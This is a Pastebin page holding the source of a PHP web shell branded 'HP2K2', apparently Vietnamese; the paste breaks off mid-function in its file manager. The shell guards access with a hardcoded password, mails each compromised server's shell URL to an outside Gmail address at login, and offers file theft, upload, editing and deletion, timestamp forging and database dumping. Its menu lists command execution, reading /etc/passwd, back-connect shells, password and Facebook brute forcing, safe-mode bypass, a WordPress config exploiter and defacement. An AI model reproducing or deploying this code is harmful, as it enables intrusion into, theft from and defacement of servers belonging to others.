daily pastebin goal
11%
SHARE
TWEET

Untitled

a guest Jan 25th, 2016 101 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(7);
  4. @set_magic_quotes_runtime(0);
  5. ob_start();
  6. $mtime     = explode(' ', microtime());
  7. $starttime = $mtime[1] + $mtime[0];
  8. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
  9. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  10. define('IS_COM', class_exists('COM') ? 1 : 0);
  11. define('IS_GPC', get_magic_quotes_gpc());
  12. $dis_func = get_cfg_var('disable_functions');
  13. define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
  14. @set_time_limit(0);
  15. foreach (array(
  16.     '_GET',
  17.     '_POST'
  18. ) as $_request) {
  19.     foreach ($$_request as $_key => $_value) {
  20.         if ($_key{0} != '_') {
  21.             if (IS_GPC) {
  22.                 $_value = s_array($_value);
  23.             }
  24.     $$_key = $_value;
  25. }
  26. }
  27. }
  28. $admin                 = array();
  29. $admin['check']        = true;
  30. $admin['pass']         = "hp2k2doser";
  31. $admin['cookiepre']    = '';
  32. $admin['cookiedomain'] = '';
  33. $admin['cookiepath']   = '/';
  34. $admin['cookielife']   = 86400;
  35. if ($charset == 'utf8') {
  36.     header("content-Type: text/html; charset=utf-8");
  37. } elseif ($charset == 'big5') {
  38.     header("content-Type: text/html; charset=big5");
  39. } elseif ($charset == 'gbk') {
  40.     header("content-Type: text/html; charset=gbk");
  41. } elseif ($charset == 'latin1') {
  42.     header("content-Type: text/html; charset=iso-8859-2");
  43. }
  44. $self      = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  45. $timestamp = time();
  46. if ($action == "logout") {
  47.     scookie('HP2K2', '', -86400 * 365);
  48.     p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
  49.     p('<body background=black>');
  50.     exit;
  51. }
  52. if ($admin['check']) {
  53.     if ($doing == 'login') {
  54.         if ($admin['pass'] == $password) {
  55.             scookie('HP2K2', $password);
  56.             $time_shell     = "" . date("d/m/Y - H:i:s") . "";
  57.             $ip_remote      = $_SERVER["REMOTE_ADDR"];
  58.             $from_shellcode = 'HP2K2@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
  59.             $to_email       = 'choivoinhau123@gmail.com';
  60.             $server_mail    = "" . gethostbyname($_SERVER['SERVER_NAME']) . "  - " . $_SERVER['HTTP_HOST'] . "";
  61.             $linkcr         = "Link-Shell: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Thuc Hien: $ip_remote “ Thoi Gian: $time_shell";
  62.             $header         = "From: $from_shellcode
  63.         Reply hkvn-HP2K2: $from_shellcode";
  64.             @mail($to_email, $server_mail, $linkcr, $header);
  65.             p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
  66.             p('<body bgcolor=black>
  67. <BR><BR><div align=center><font color=00FF00 face=tahoma size=2>Xin Ch&#224;o HP2K2 &#272;&#227; Quay L&#7841;i, &#272;ang Kh&#7903;i &#272;&#7897;ng Shell. Vui L&#242;ng Ch&#7901;...<BR><a href=' . $self . '><img src="http://www.kcls.org/images/loaders/inspiroo_logo_loader_pop.gif"/></a></div>');
  68.             exit;
  69.         } else {
  70.             $err_mess = '<table width=100%><tr><td bgcolor=#00FF00 width=100% height=24><div align=center><font color=While face=tahoma size=2><blink>Sai M&#7853;t Kh&#7849;u, Vui L&#242;ng Vi&#7871;t L&#7841;i. Ho&#7863;c Li&#234;n H&#7879; HP2K2 &#272;&#7875; Bi&#7871;t Th&#234;m Chi Ti&#7871;t. !!!</blink><BR>
  71. </font></div></td></tr></table>';
  72. echo $err_mess;
  73.         }
  74.     }
  75.     if ($_COOKIE['HP2K2']) {
  76.         if ($_COOKIE['HP2K2'] != $admin['pass']) {
  77.             loginmarion();
  78.         }
  79.     } else {
  80.         loginmarion();
  81.     }
  82. }
  83. $errmsg = '';
  84. if ($action == 'phpinfo') {
  85.     if (IS_PHPINFO) {
  86.         phpinfo();
  87.     } else {
  88.         $errmsg = 'phpinfo() function has non-permissible';
  89.     }
  90. }
  91. if ($doing == 'downfile' && $thefile) {
  92.     if (!@file_exists($thefile)) {
  93.         $errmsg = 'The file you want Downloadable was nonexistent';
  94.     } else {
  95.         $fileinfo = pathinfo($thefile);
  96.         header('Content-type: application/x-' . $fileinfo['extension']);
  97.         header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
  98.         header('Content-Length: ' . filesize($thefile));
  99.         @readfile($thefile);
  100.         exit;
  101.     }
  102. }
  103. if ($doing == 'backupmysql' && !$saveasfile) {
  104.     dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  105.     $table  = array_flip($table);
  106.     $result = q("SHOW tables");
  107.     if (!$result)
  108.         p('<h2>' . mysql_error() . '</h2>');
  109.     $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
  110.     header('Content-type: application/unknown');
  111.     header('Content-Disposition: attachment; filename=' . $filename);
  112.     $mysqldata = '';
  113.     while ($currow = mysql_fetch_array($result)) {
  114.         if (isset($table[$currow[0]])) {
  115.             $mysqldata .= sqldumptable($currow[0]);
  116.         }
  117.     }
  118.     mysql_close();
  119.     exit;
  120. }
  121. if ($doing == 'mysqldown') {
  122.     if (!$dbname) {
  123.         $errmsg = ' dbname';
  124.     } else {
  125.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  126.         if (!file_exists($mysqldlfile)) {
  127.             $errmsg = 'The file you want Downloadable was nonexistent';
  128.         } else {
  129.             $result = q("select load_file('$mysqldlfile');");
  130.             if (!$result) {
  131.                 q("DROP TABLE IF EXISTS tmp_angel;");
  132.                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  133.                 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  134.                 $result = q("select content from tmp_angel");
  135.                 q("DROP TABLE tmp_angel");
  136.             }
  137.             $row = @mysql_fetch_array($result);
  138.             if (!$row) {
  139.                 $errmsg = 'Load file failed ' . mysql_error();
  140.             } else {
  141.                 $fileinfo = pathinfo($mysqldlfile);
  142.                 header('Content-type: application/x-' . $fileinfo['extension']);
  143.                 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
  144.                 header("Accept-Length: " . strlen($row[0]));
  145.                 echo $row[0];
  146.                 exit;
  147.             }
  148.         }
  149.     }
  150. }
  151. ?>
  152. <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  153. <title><?php
  154. echo "HP2K2 : " . $_SERVER['HTTP_HOST'] . "";
  155. ?></title><style type="text/css">
  156. body,td{font: 10pt Tahoma;color:00FF00;line-height: 16px;}
  157. a {color: 00FF00;text-decoration:none;}
  158. a:hover{color: #F8F8FF;text-decoration:underline;}
  159. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:;padding:5px 10px 5px 5px;}
  160. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  161. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#6415F0;padding:5px 10px 5px 5px;}
  162. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#1108D8;padding:5px 10px 5px 5px;}
  163. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:;padding:5px 10px 5px 5px;}
  164. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:;padding:5px 10px 5px 5px;font-weight:bold;}
  165. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  166. .head td span{font-weight:normal;}
  167. form{margin:0;padding:0;}
  168. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#FF0000;}
  169. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  170. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  171. input, textarea, button
  172. {
  173.     font-size: 9pt;
  174.     color: #EBFF00;
  175.     font-family: verdana, sans-serif;
  176.     background-color: #1D13FD;
  177.     border-left: 1px solid #74A202;
  178.     border-top: 1px solid #74A202;
  179.     border-right: 1px solid #74A202;
  180.     border-bottom: 1px solid #74A202;
  181. }
  182. select
  183. {
  184.     font-size: 8pt;
  185.     font-weight: normal;
  186.     color: #ccc;
  187.     font-family: verdana, sans-serif;
  188.     background-color: #1D13FD;
  189. }
  190. </style></style>
  191. <script type="text/javascript">
  192. function CheckAll(form) {
  193.     for(var i=0;i<form.elements.length;i++) {
  194.         var e = form.elements[i];
  195.         if (e.name != 'chkall')
  196.         e.checked = form.chkall.checked;
  197.     }
  198. }
  199. function $(id) {
  200.     return document.getElementById(id);
  201. }
  202. function goaction(act){
  203.     $('goaction').action.value=act;
  204.     $('goaction').submit();
  205. }
  206. </script></head>
  207. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
  208. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  209. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  210. <tr><td align="center" valign=center>
  211. <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">HP2K2<img src="http://www.kcls.org/images/loaders/inspiroo_logo_loader_pop.gif" width="150" height="150"></div></td></tr></table></div>
  212. <script>
  213. var ld=(document.all);
  214. var ns4=document.layers;
  215. var ns6=document.getElementById&&!document.all;
  216. var ie4=document.all;
  217. if (ns4)
  218. ld=document.loading;
  219. else if (ns6)
  220. ld=document.getElementById("loading").style;
  221. else if (ie4)
  222. ld=document.all.loading.style;
  223. function init()
  224. {
  225. if(ns4){ld.visibility="hidden";}
  226. else if (ns6||ie4) ld.display="none";
  227. }
  228. </script><table width="100%" border="0" cellpadding="0" cellspacing="0"><tr class="head_small"><td  width=100%>
  229. <table width=100%><tr class="head_small"><td  width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://i.imgur.com/aSKtdkl.png height=86 border=0></a></td><td>
  230. <object width="300" height="308">  <param name="movie" value="http://www.nhaccuatui.com/m/UrMmYYD3P6BM" />  <param name="quality" value="high" />  <param name="wmode" value="transparent" />  <param name="allowscriptaccess" value="always" />  <param name="flashvars" value="autostart=true" />  <embed src="http://www.nhaccuatui.com/m/UrMmYYD3P6BM" flashvars="target=blank&autostart=true" allowscriptaccess="always" quality="high" wmode="transparent" type="application/x-shockwave-flash" width="1" height="1"></embed></object>
  231. <script type="text/javascript">document.write('\u003c\u0073\u0070\u0061\u006e\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0066\u006c\u006f\u0061\u0074\u003a\u006c\u0065\u0066\u0074\u003b\u0022\u003e')</script> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | Server IP: <?php echo "<font color=LawnGreen>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> | Your IP: <?php echo "<font color=LawnGreen>".$_SERVER['REMOTE_ADDR']."</font>";?>
  232.       | <a href="https://www.facebook.com/" target="_blank"><?php echo str_replace('.','','HP2K2');?> </a> | <a href="javascript:goaction('logout');"><font color=FFFFFF>&#272;&#259;ng Xu&#7845;t</font></a></span> <br />
  233. <?php
  234. $curl_on  = @function_exists('curl_version');
  235. $mysql_on = @function_exists('mysql_connect');
  236. $mssql_on = @function_exists('mssql_connect');
  237. $pg_on    = @function_exists('pg_connect');
  238. $ora_on   = @function_exists('ocilogon');
  239. echo (($safe_mode) ? ("Safe_mod: <b><font color=Blush>ON</font></b> - ") : ("Safe_mod: <b><font color=red>OFF</font></b> - "));
  240. echo "PHP version: <b>" . @phpversion() . "</b> - ";
  241. echo "cURL: " . (($curl_on) ? ("<b><font color=Blush>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
  242. echo "MySQL: <b>";
  243. $mysql_on = @function_exists('mysql_connect');
  244. if ($mysql_on) {
  245.     echo "<font color=Blush>ON</font></b> - ";
  246. } else {
  247.     echo "<font color=red>OFF</font></b> - ";
  248. }
  249. echo "MSSQL: <b>";
  250. $mssql_on = @function_exists('mssql_connect');
  251. if ($mssql_on) {
  252.     echo "<font color=Blush>ON</font></b> - ";
  253. } else {
  254.     echo "<font color=red>OFF</font></b> - ";
  255. }
  256. echo "PostgreSQL: <b>";
  257. $pg_on = @function_exists('pg_connect');
  258. if ($pg_on) {
  259.     echo "<font color=Blush>ON</font></b> - ";
  260. } else {
  261.     echo "<font color=red>OFF</font></b> - ";
  262. }
  263. echo "Oracle: <b>";
  264. $ora_on = @function_exists('ocilogon');
  265. if ($ora_on) {
  266.     echo "<font color=Blush>ON</font></b>";
  267. } else {
  268.     echo "<font color=red>OFF</font></b><BR>";
  269. }
  270. echo "Disable functions : <b>";
  271. if ('' == ($df = @ini_get('disable_functions'))) {
  272.     echo "<font color=green>NONE</font></b><BR>";
  273. } else {
  274.     echo "<font color=red>$df</font></b><BR>";
  275. }
  276. echo "<font color=DeepSkyBlue2>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
  277. echo "<font color=White>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=Red>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
  278. ?></td>
  279. <td width="46px"><p><?php
  280. if (!IS_WIN) {
  281. ?><b><a href="?action=kill">Kill</a><b/><?php
  282. }
  283. ?><br/><?php
  284. if (!IS_WIN) {
  285. ?><a href="javascript:goaction('about');">About</a><?php
  286. }
  287. ?><br/><?php
  288. if (!IS_WIN) {
  289. ?><a href="javascript:goaction('phpinfo');">PHPInfo</a><?php
  290. }
  291. ?> <p></td></tr></table></td></tr><tr class="alt1"><td  width=10%><fieldset style="border: 2px solid #FF0000; padding: 4px;bgcolor:white;align:center;font-family:tahoma><legend><font  color="red" >
  292.  
  293.             <b> <a style="color:#ff0000;" href="javascript:history.back(-1)" title="Quay Lại"><b>Back</b></a>
  294.             <b> |
  295. <a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>">HOME</a> |
  296. <a href="javascript:goaction('file');">File Manager</a> |
  297. <a href="javascript:goaction('sqladmin');">SQL</a> |
  298. <a href="javascript:goaction('changepas');">Changes</a>
  299. | <a href="javascript:goaction('newcommand');">Command</a>
  300. | <a href="javascript:goaction('etcpwd');">/etc/passwd</a>
  301. | <a href="javascript:goaction('crackmd5');">Crack MD5</a>
  302. | <a href="javascript:goaction('generatepass');">Generate Password</a>
  303. | <a href="javascript:goaction('backconnect');">Back</a>
  304. | <a href="javascript:goaction('command');">CMD</a>
  305. | <a href="javascript:goaction('CGIShell');">CGI Shell</a>
  306. | <a href="javascript:goaction('exhtacc');">Extract .htaccess</a>
  307. <?php
  308. if (!IS_WIN) {
  309. ?> | <a href="javascript:goaction('symroot');">Root</a><?php
  310. }
  311. ?>
  312. <?php
  313. if (!IS_WIN) {
  314. ?> | <a href="symroot.php" target="_blank">Open Root</a><?php
  315. }
  316. ?>
  317. <?php
  318. if (!IS_WIN) {
  319. ?> | <a href="javascript:goaction('brute');">Brute</a><?php
  320. }
  321. ?>
  322. <?php
  323. if (!IS_WIN) {
  324. ?> | <a href="javascript:goaction('bypass');">ByPass</a><?php
  325. }
  326. ?>
  327.  
  328. <?php
  329. if (!IS_WIN) {
  330. ?> | <a href="javascript:goaction('kiemtraip');">My IP address</a><?php
  331. }
  332. ?>  
  333.  
  334. <?php
  335. if (!IS_WIN) {
  336. ?> | <a href="javascript:goaction('ScanShell');">Scan-Shell</a><?php
  337. }
  338. ?>  
  339. <?php
  340. if (!IS_WIN) {
  341. ?> | <a href="javascript:goaction('GetUsers');">Get Domain/Users</a><?php
  342. }
  343. ?>
  344.  
  345. <?php
  346. if (!IS_WIN) {
  347. ?> | <a href="javascript:goaction('brutefb');">Brute-FB</a><?php
  348. }
  349. ?>
  350. <?php
  351. if (!IS_WIN) {
  352. ?> | <a href="javascript:goaction('Wordpress-Get-Conf');">Wordpress ConfigAuto Exploiter</a><?php
  353. }
  354. ?>
  355. |
  356. <a href="javascript:goaction('indexjoker');">Index</a>
  357. | <a href="javascript:goaction('extractshell');">Extract Shell</a>
  358. </fieldset>
  359. </td></tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  360. <?php
  361. formhead(array(
  362.     'name' => 'goaction'
  363. ));
  364. makehide('action');
  365. formfoot();
  366. $errmsg && m($errmsg);
  367. !$dir && $dir = '.';
  368. $nowpath = getPath(SA_ROOT, $dir);
  369. if (substr($dir, -1) != '/') {
  370.     $dir = $dir . '/';
  371. }
  372. $uedir = ue($dir);
  373. if (!$action || $action == 'file') {
  374.     $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  375.     if ($doing == 'deldir' && $thefile) {
  376.         if (!file_exists($thefile)) {
  377.             m($thefile . ' directory does not exist');
  378.         } else {
  379.             m('X&#243;a Th&#432; M&#7909;c ' . (deltree($thefile) ? basename($thefile) . ' Th&#224;nh C&#244;ng' : 'Th&#7845;t B&#7841;i'));
  380.         }
  381.     } elseif ($newdirname) {
  382.         $mkdirs = $nowpath . $newdirname;
  383.         if (file_exists($mkdirs)) {
  384.             m('Directory has already existed');
  385.         } else {
  386.             m('T&#7841;o Th&#432; M&#7909;c ' . (@mkdir($mkdirs, 0777) ? 'Th&#224;nh C&#244;ng' : 'Th&#7845;t B&#7841;i'));
  387.             @chmod($mkdirs, 0777);
  388.         }
  389.     } elseif ($doupfile) {
  390.         m('T&#7843;i File L&#234;n ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? ' Th&#224;nh C&#244;ng' : ' Th&#7845;t B&#7841;i'));
  391.     } elseif ($editfilename && $filecontent) {
  392.         $fp = @fopen($editfilename, 'w');
  393.         m('L&#432;u File ' . (@fwrite($fp, $filecontent) ? ' Th&#224;nh C&#244;ng' : ' Th&#7845;t B&#7841;i'));
  394.         @fclose($fp);
  395.     } elseif ($pfile && $newperm) {
  396.         if (!file_exists($pfile)) {
  397.             m('C&#225;c T&#7879;p Tin G&#7889;c Kh&#244;ng T&#7891;n T&#7841;i');
  398.         } else {
  399.             $newperm = base_convert($newperm, 8, 10);
  400.             m('S&#7917;a &#272;&#7893;i Thu&#7897;c T&#237;nh T&#7879;p Tin ' . (@chmod($pfile, $newperm) ? 'Th&#224;nh C&#244;ng' : 'Th&#7845;t B&#7841;i'));
  401.         }
  402.     } elseif ($oldname && $newfilename) {
  403.         $nname = $nowpath . $newfilename;
  404.         if (file_exists($nname) || !file_exists($oldname)) {
  405.             m($nname . ' has already existed or original file does not exist');
  406.         } else {
  407.             m(basename($oldname) . ' &#272;&#7893;i T&#234;n Th&#224;nh ' . basename($nname) . (@rename($oldname, $nname) ? ' Th&#224;nh C&#244;ng' : 'Th&#7845;t B&#7841;i'));
  408.         }
  409.     } elseif ($sname && $tofile) {
  410.         if (file_exists($tofile) || !file_exists($sname)) {
  411.             m('The goal file has already existed or original file does not exist');
  412.         } else {
  413.             m(basename($tofile) . ' &#272;&#432;&#7907;c Sao Ch&#233;p T&#7915; File ' . (@copy($sname, $tofile) ? basename($tofile) . ' Th&#224;nh C&#244;ng' : 'Th&#7845;t B&#7841;i'));
  414.         }
  415.     } elseif ($curfile && $tarfile) {
  416.         if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  417.             m('The goal file has already existed or original file does not exist');
  418.         } else {
  419.             $time = @filemtime($tarfile);
  420.             m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
  421.         }
  422.     } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  423.         if (!@file_exists($curfile)) {
  424.             m(basename($curfile) . ' does not exist');
  425.         } else {
  426.             $time = strtotime("$year-$month-$day $hour:$minute:$second");
  427.             m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
  428.         }
  429.     } elseif ($doing == 'downrar') {
  430.         if ($dl) {
  431.             $dfiles = '';
  432.             foreach ($dl as $filepath => $value) {
  433.                 $dfiles .= $filepath . ',';
  434.             }
  435.             $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
  436.             $dl     = explode(',', $dfiles);
  437.             $zip    = new PHPZip($dl);
  438.             $code   = $zip->out;
  439.             header('Content-type: application/octet-stream');
  440.             header('Accept-Ranges: bytes');
  441.             header('Accept-Length: ' . strlen($code));
  442.             header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
  443.             echo $code;
  444.             exit;
  445.         } else {
  446.             m('L&#7895;i, Vui L&#242;ng Ch&#7885;n File &#272;&#7875; T&#7843;i Xu&#7889;ng');
  447.         }
  448.     } elseif ($doing == 'delfiles') {
  449.         if ($dl) {
  450.             $dfiles = '';
  451.             $succ   = $fail = 0;
  452.             foreach ($dl as $filepath => $value) {
  453.                 if (@unlink($filepath)) {
  454.                     $succ++;
  455.                 } else {
  456.                     $fail++;
  457.                 }
  458.             }
  459.             m('&#272;&#227; X&#243;a Th&#224;nh C&#244;ng ' . $succ . ', Th&#7845;t B&#7841;i ' . $fail);
  460.         } else {
  461.             m('L&#7895;i, Vui L&#242;ng Ch&#7885;n File &#272;&#7875; X&#243;a');
  462.         }
  463.     }
  464.     formhead(array(
  465.         'name' => 'createdir'
  466.     ));
  467.     makehide('newdirname');
  468.     makehide('dir', $nowpath);
  469.     formfoot();
  470.     formhead(array(
  471.         'name' => 'fileperm'
  472.     ));
  473.     makehide('newperm');
  474.     makehide('pfile');
  475.     makehide('dir', $nowpath);
  476.     formfoot();
  477.     formhead(array(
  478.         'name' => 'copyfile'
  479.     ));
  480.     makehide('sname');
  481.     makehide('tofile');
  482.     makehide('dir', $nowpath);
  483.     formfoot();
  484.     formhead(array(
  485.         'name' => 'rename'
  486.     ));
  487.     makehide('oldname');
  488.     makehide('newfilename');
  489.     makehide('dir', $nowpath);
  490.     formfoot();
  491.     formhead(array(
  492.         'name' => 'fileopform'
  493.     ));
  494.     makehide('action');
  495.     makehide('opfile');
  496.     makehide('dir');
  497.     formfoot();
  498.     $free = @disk_free_space($nowpath);
  499.     !$free && $free = 0;
  500.     $all = @disk_total_space($nowpath);
  501.     !$all && $all = 0;
  502.     $used         = $all - $free;
  503.     $used_percent = @round(100 / ($all / $free), 2);
  504.     p('<font color=SlateBlue2 face=tahoma size=2><B>Dung L&#432;&#7907;ng C&#7911;a Host</b> </font> Dung L&#432;&#7907;ng &#272;&#227; D&#249;ng <font color=red>' . sizecount($free) . '</font> Trong T&#7893;ng <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
  505. ?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  506.   <form action="" method="post" id="godir" name="godir">
  507.   <tr>
  508.     <td nowrap>&#272;&#432;&#7901;ng D&#7851;n Hi&#7879;n T&#7841;i (<?php
  509.     echo $dir_writeable;
  510. ?>, <?php
  511.     echo getChmod($nowpath);
  512. ?>)</td>
  513.     <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
  514.     echo $nowpath;
  515. ?>" type="text" style="width:100%;margin:0 8px;"></td>
  516.     <td nowrap><input class="bt" value="HP2K2" type="submit"></td>
  517.   </tr>
  518.   </form>
  519. </table>
  520. <script type="text/javascript">
  521. function createdir(){
  522.     var newdirname;
  523.     newdirname = prompt('Ten Thu Muc:', '');
  524.     if (!newdirname) return;
  525.     $('createdir').newdirname.value=newdirname;
  526.     $('createdir').submit();
  527. }
  528. function fileperm(pfile){
  529.     var newperm;
  530.     newperm = prompt('Current file:'+pfile+'\n new attribute:', '');
  531.     if (!newperm) return;
  532.     $('fileperm').newperm.value=newperm;
  533.     $('fileperm').pfile.value=pfile;
  534.     $('fileperm').submit();
  535. }
  536. function copyfile(sname){
  537.     var tofile;
  538.     tofile = prompt('Original file:'+sname+'\n object file (fullpath):', '');
  539.     if (!tofile) return;
  540.     $('copyfile').tofile.value=tofile;
  541.     $('copyfile').sname.value=sname;
  542.     $('copyfile').submit();
  543. }
  544. function rename(oldname){
  545.     var newfilename;
  546.     newfilename = prompt('Former file name:'+oldname+'\n new filename:', '');
  547.     if (!newfilename) return;
  548.     $('rename').newfilename.value=newfilename;
  549.     $('rename').oldname.value=oldname;
  550.     $('rename').submit();
  551. }
  552. function dofile(doing,thefile,m){
  553.     if (m && !confirm(m)) {
  554.         return;
  555.     }
  556.     $('filelist').doing.value=doing;
  557.     if (thefile){
  558.         $('filelist').thefile.value=thefile;
  559.     }
  560.     $('filelist').submit();
  561. }
  562. function createfile(nowpath){
  563.     var filename;
  564.     filename = prompt('T&#234;n File:', '');
  565.     if (!filename) return;
  566.     opfile('editfile',nowpath + filename,nowpath);
  567. }
  568. function opfile(action,opfile,dir){
  569.     $('fileopform').action.value=action;
  570.     $('fileopform').opfile.value=opfile;
  571.     $('fileopform').dir.value=dir;
  572.     $('fileopform').submit();
  573. }
  574. function godir(dir,view_writable){
  575.     if (view_writable) {
  576.         $('godir').view_writable.value=1;
  577.     }
  578.     $('godir').dir.value=dir;
  579.     $('godir').submit();
  580. }
  581. </script>
  582.    <?php
  583.     tbhead();
  584.     p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  585.     p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="HP2K2" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
  586.     p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">L&#234;n &#272;&#7847;u</a>');
  587.     if ($view_writable) {
  588.         p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Hi&#7879;n T&#7845;t C&#7843;</a>');
  589.     } else {
  590.         p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Ch&#7881; Hi&#7879;n Th&#432; M&#7909;c</a>');
  591.     }
  592.     p(' | <a href="javascript:createdir();">T&#7841;o Th&#432; M&#7909;c</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">T&#7841;o File</a>');
  593.     if (IS_WIN && IS_COM) {
  594.         $obj = new COM('scripting.filesystemobject');
  595.         if ($obj && is_object($obj)) {
  596.             $DriveTypeDB = array(
  597.                 0 => 'Unknow',
  598.                 1 => 'Removable',
  599.                 2 => 'Fixed',
  600.                 3 => 'Network',
  601.                 4 => 'CDRom',
  602.                 5 => 'RAM Disk'
  603.             );
  604.             foreach ($obj->Drives as $drive) {
  605.                 if ($drive->DriveType == 2) {
  606.                     p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . '&#13;Free:' . sizecount($drive->FreeSpace) . '&#13;Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
  607.                 } else {
  608.                     p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
  609.                 }
  610.             }
  611.         }
  612.     }
  613.     p('</td></tr></form>');
  614.     p('<tr class="head"><td>&nbsp;</td><td>T&#234;n File</td><td width="16%">L&#7847;n S&#7917;a Cu&#7889;i C&#249;ng</td><td width="10%">Kick Th&#432;&#7899;c</td><td width="20%">Chmod / Perms</td><td width="22%">C&#224;i &#272;&#7863;t</td></tr>');
  615.     $dirdata  = array();
  616.     $filedata = array();
  617.     if ($view_writable) {
  618.         $dirdata = GetList($nowpath);
  619.     } else {
  620.         $dirs = @opendir($dir);
  621.         while ($file = @readdir($dirs)) {
  622.             $filepath = $nowpath . $file;
  623.             if (@is_dir($filepath)) {
  624.                 $dirdb['filename']    = $file;
  625.                 $dirdb['mtime']       = @date('Y-m-d H:i:s', filemtime($filepath));
  626.                 $dirdb['dirchmod']    = getChmod($filepath);
  627.                 $dirdb['dirperm']     = getPerms($filepath);
  628.                 $dirdb['fileowner']   = getUser($filepath);
  629.                 $dirdb['dirlink']     = $nowpath;
  630.                 $dirdb['server_link'] = $filepath;
  631.                 $dirdb['client_link'] = ue($filepath);
  632.                 $dirdata[]            = $dirdb;
  633.             } else {
  634.                 $filedb['filename']    = $file;
  635.                 $filedb['size']        = sizecount(@filesize($filepath));
  636.                 $filedb['mtime']       = @date('Y-m-d H:i:s', filemtime($filepath));
  637.                 $filedb['filechmod']   = getChmod($filepath);
  638.                 $filedb['fileperm']    = getPerms($filepath);
  639.                 $filedb['fileowner']   = getUser($filepath);
  640.                 $filedb['dirlink']     = $nowpath;
  641.                 $filedb['server_link'] = $filepath;
  642.                 $filedb['client_link'] = ue($filepath);
  643.                 $filedata[]            = $filedb;
  644.             }
  645.         }
  646.         unset($dirdb);
  647.         unset($filedb);
  648.         @closedir($dirs);
  649.     }
  650.     @sort($dirdata);
  651.     @sort($filedata);
  652.     $dir_i = '0';
  653.     foreach ($dirdata as $key => $dirdb) {
  654.         if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
  655.             $thisbg = bg();
